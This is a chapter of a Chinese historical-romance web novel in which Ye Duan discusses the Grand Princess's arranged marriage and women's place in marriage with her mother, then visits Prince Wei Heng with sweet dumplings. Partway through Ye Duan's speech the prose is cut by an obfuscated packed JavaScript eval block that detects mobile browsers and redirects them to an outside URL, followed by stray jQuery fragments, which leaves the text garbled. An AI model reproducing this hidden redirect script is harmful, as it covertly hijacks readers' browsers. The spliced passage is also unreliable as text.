138. 叶端替卫谚不公,叶端欲表明心……

作品:《倾卿良策

    “可……奴婢知道公主不喜欢温二公子,奴婢不想看公主委屈自己……公主,或许能再去求求娘娘,让娘娘再挑一个公主喜欢的夫婿……”


    卫谚轻笑两声,轻声念着:“喜欢的夫婿……他不在了,世上已再无我愿依恋之人……”


    她看着身旁跳动的烛光,嘴角浅笑:“从此,世上之人与我而言,再无二异。嫁温玉、或是嫁乞丐……无异。我是长荣的长公主,母后要我嫁人,我必要嫁人,我是母后的女儿,如果连我都违逆母后,那母后在朝中,岂不要大损威严?哈……此生爱人已逝,可我还有母后,还有弟弟……”


    她微微侧首,看着泪流满面的欣儿:“你去与母后回禀吧。”


    “……是。”欣儿应着,俯首在地。


    帅府的梅花开得正艳,叶端披着斗篷,站在树下,仰面看着雪落梅花。


    苏昭走来站在廊下:“端儿,你在那儿站了快半个时辰了,可数清了天上落了几片雪花了吗?”


    叶端回神,朝苏昭笑笑:“母亲真会打趣女儿。”


    “快来。”


    叶端跑回廊下,苏昭伸手拍去她身上的落雪,又将怀中捧的手炉塞到叶端冰凉的手中。


    叶端搀起苏昭的胳膊,二人便在廊下缓缓走着。


    苏昭看看叶端的心不在焉的样子,问着:“是因长公主一事烦心?”


    “嗯。”叶端点点头,“钰盛姐姐后日便要成亲了,她除夕那日受了惊吓,后来又……唉,真不知太后为何急着让钰盛姐姐嫁给温玉,就不能延缓两日吗?”


    苏昭道:“眼下大战在即,一旦出征,温家势必要动身漠州,沙场之上,风云莫测,若不让长公主和温玉早日成婚,以后还不知有多少变数。温言成虽说不一定是一个好的掌权之人,但一定是一个极好的家族谋划者。


    想当年,温家爵位差点儿断送在她叔伯手中,她却能力挽狂澜,让温家东山再起,重新让温家接管了南境兵权。温观识本无大能,她却助他承袭了侯爵。而她自己,也可谓传奇。


    虽然先帝在世时,从未立后,却专宠温言成十余年,封她为长荣独一无二的皇贵妃,执掌凤印,统管六宫,行使皇后之权。后来又稳坐太后之位,她让自己的儿子做了皇帝……


    温家能有如今这个地位,得罪了太多人。如若温家后辈能出一两个贤能之人,或许温太后也不必如此心急。但温萦死了,温家就剩个温玉。温玉如何,我们不可随意猜测,但也绝无能振兴温家之才。若想保住温家地位,联姻是最为可行的。”


    “母亲说的,女儿都懂。”叶端轻声道,“可女儿还是要替钰盛姐姐不公。温太后她为温家兴盛着想这无可厚非,但钰盛姐姐也是她的女儿啊,她明知道钰盛姐姐的心意,却还要强迫她嫁给自己不喜欢的人……此前有一个周姐姐还不够,这次还要把钰盛姐姐也搭进去……”


    苏昭停下脚步,侧了侧身看着叶端:“你怎知长公主是被迫的?”


    叶端闻言一怔,苏昭接着道,“温太后是长公主的亲娘,长公主亦是温太后的亲女儿,她二人才是这世上互相最了解、也最理解之人。”


    叶端看着苏昭的眼睛,许久未语,又慢慢垂下眸去。


    苏昭拍了拍叶端搀在自己胳膊上的手,继续往前走着:“好了,我们不说这个了。之儿回了丹城,林少主也走了,晋王府一定又冷清了不少吧?”


    叶端点点头:“嗯。这几日,殿下生怕温太后一个头脑发热,再派人盯着他,让我回府避嫌……我也好几日没见着殿下了。”


    “你与晋王结识已久,端儿觉得,晋王此人,可如你当日所想?”


    叶端轻声道着:“女儿当日不了解殿下,下的定论为时尚早,实在偏颇了。殿下他有情有义,这是好事,亦是苦事。但女儿如今愿意信任他,因为他为民之心可鉴,在民族大义上也绝不含糊,如此,定能让我朝蒸蒸日上。”


    苏昭看着叶端不自觉上扬的嘴角:“哦?他真有这么好?”


    “当然。”


    “那他,可是个值得托付之人?”


    叶端看看苏昭。她抱起苏昭的胳膊,一歪头,便靠在苏昭的肩头:“娘又打趣我。”


    叶端垂了垂眉:“娘,此前,女儿认为女子一旦成婚,便再也无法有自己的志向,就得在家相夫教子,争做别人口中的好娘子……”


    她抬起头来:“可我现在想明白了,那是世俗对女子的偏见,亦是我对世俗的偏见。女子就如世间的花,缤纷多彩,各有不同。有的开在盛夏,也有的在隆冬绽放……


    有的女子才情卓绝,喜欢琴棋书画,便可作诗人、画家;有的女子温婉贤淑,能与丈夫举案齐眉,能操持一家,亦是她的智慧;有的女子有凌云壮志,便可策马沙场,建功立业……不拘一格,才是女子百花齐放的关键。


    没有哪条律法规定女子不能如何,更不该有人拿女子应该如何来限制女子,当然,最重要的是,女子不该听信此言。成家立业,既可说男子,亦可说女子。如此,婚姻不是男子的限制,更不会是女子的限制,它应是两个人的余生相伴,是人生的一个阶段而已。”


    “只是……”叶端声音渐沉,“有的人给婚姻掺杂了太多东西。就拿钰盛姐姐与温玉联姻来说,太后将一族兴衰的厚望寄托在一桩联姻上,我见此,不可长久……故而,可怕的不是婚姻,而是有心人的利用。”


    苏昭听完,蹙了蹙眉:“……你竟想了这么多?”


    叶端握起苏昭的手:“娘嫁给爹爹,为了爹爹和兄长的平安,甘愿留在京中为质,太宗、先帝,他们都以此达到控制朝臣的目的,或许为了朝堂稳定,这是必要之举,可又何尝不是他们心虚?


    如若百姓家家都能安居乐业,吃得饱,穿得暖,谁又想提着脑袋作恶?如若从坐在皇位上的那人开始,就克己自持,端正自身品行,谁又敢奢靡成风,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16881822|186447||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    以致迷失心智?如果一切做好了,就算有人生性贪婪,百姓十目所视,上官心无旁骛,又岂会让社稷蠹虫存活?到那时,何须要以朝臣的家眷为质?又何须让本该两情相悦的婚姻成为当权者掌控的手段?”


    “……你这话,可曾与旁人说过?”


    叶端摇摇头,苏昭才松了口气:“端儿,你说的这些……现在看,只能是愿景……”


    苏昭一声轻叹:“娘就怕,温太后心血来潮,再给你指一次婚。”


    “这……应该……不会吧?”叶端转着眸子,心里也打起鼓来,“可是,女儿喜欢的人……”


    圆月皎洁,将夜晚照得通明。


    晋王府的长廊下,叶端提着食盒走来。


    她看着梅树下独坐的卫衡,嘴角一勾,走上前去:“那日,我坐在这儿,殿下责怪我任性,怎么今日,殿下也任性了?”


    宽厚的肩膀稍稍动了动,仿佛被叶端突如其来的声音唤醒似的。


    卫衡侧了侧身:“你怎么来了?”


    他的语调不似以往热情,也不像是疑惑,倒像是冰冷生硬的应付。


    叶端提了提手中的食盒:“给殿下送元宵啊。”


    她在卫衡身旁坐下,取出食盒中温着的一碗元宵,放在卫衡手边。


    “殿下趁热吃。”


    卫衡稍稍垂了垂眸,把碗推远了些:“我不好甜食。”


    叶端又将碗拉近,轻声道:“殿下何须骗我?这是我娘让我送来的。”


    闻此,卫衡才捏起勺子,一口一个吃了起来。


    “殿下心情不好?”叶端小心问道。


    卫衡嚼着口中的元宵,并未回答。


    叶端也再未说话,只是静静地坐在一旁,看着卫衡将碗中的元宵吃了个一干二净。


    叶端眉眼浅浅弯起:“殿下心情不好不愿说话,那就听我说说?”


    卫衡未语。


    叶端便接着道:“当日,我来渊都是为了救叶家,后来拜殿下为师,实则是为了给背负仇恨的姐妹们报仇……眼下,姐妹们大仇相继得报,本以为,我会轻松些,心里能多些余地出来,可现在,我心里越来越满,空出来的地方,都被一人……”


    “谨义。”卫衡打断叶端的话,“你今日来得正好,我也有些话正想与你说。”


    叶端认真看着卫衡,低低应了声:“……哦。”


    “林德大闹宫宴,被迫逃离,作为他的师父,此事,我有失察之责。林德如今出了王府,我也无法再劝他。这倒是提醒了我……我整日教你们兵法、武功,才让你们一个个火气都这么大。谨义,大敌当前,千万不能再有任何变故了……”


    “是,谨义明白。”叶端虽不解卫衡为何突然说了这么一通话,只当是那夜她被禁军抓住了把柄,卫衡心有余悸,“殿下放心,今日来时,我都看好了,周围没有眼线。”


    卫衡轻叹一声,道:“不单是这个。”